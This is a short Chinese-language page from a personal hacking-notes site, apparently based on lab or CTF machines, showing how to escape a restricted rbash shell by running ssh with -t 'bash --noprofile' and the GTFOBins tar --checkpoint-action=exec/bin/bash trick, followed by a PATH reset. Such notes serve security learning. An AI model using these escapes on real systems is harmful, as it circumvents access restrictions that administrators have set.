> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/post-exploitation/escaping-rbash-to-normal-bash-linux.md).

# 从 RBash 逃逸到普通 Bash

### SSH rbash：

用户 `mindy` 当前正在使用一个 `rbash` 该 shell 会限制许多命令的执行。

<figure><img src="/files/dfc868654d9ee283109d037198b4d3cec5b03747" alt=""><figcaption></figcaption></figure>

为了避免这种限制，我们可以使用需要 SSH 连接的命令来获取 Bash shell：

```bash
ssh mindy@10.10.10.51 -t "bash --noprofile"
```

<figure><img src="/files/b1a4736ee31f1849eb386f4f04c437fb41386ce7" alt=""><figcaption></figcaption></figure>

### **rbash 绕过 - tar**

我们以 Ayush 登录，但我们只能使用一个 `rbash` shell。

<figure><img src="/files/e1dd3456e0f3e31bb91b2f89a7eac2d8c6e4602b" alt=""><figcaption></figcaption></figure>

可用命令列表：

```bash
compgen -c
```

我们找到 `tar` 并绕过 `rbash` 使用：

<figure><img src="/files/1a03026a9ea8660514667ecedebd77aa8d859e97" alt="" width="279"><figcaption></figcaption></figure>

{% embed url="<https://gtfobins.github.io/gtfobins/tar/#shell>" %}

```bash
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec/bin/bash
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```

<figure><img src="/files/2f87515883b6ccc4558784b343ed4fc8704c1363" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/post-exploitation/escaping-rbash-to-normal-bash-linux.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
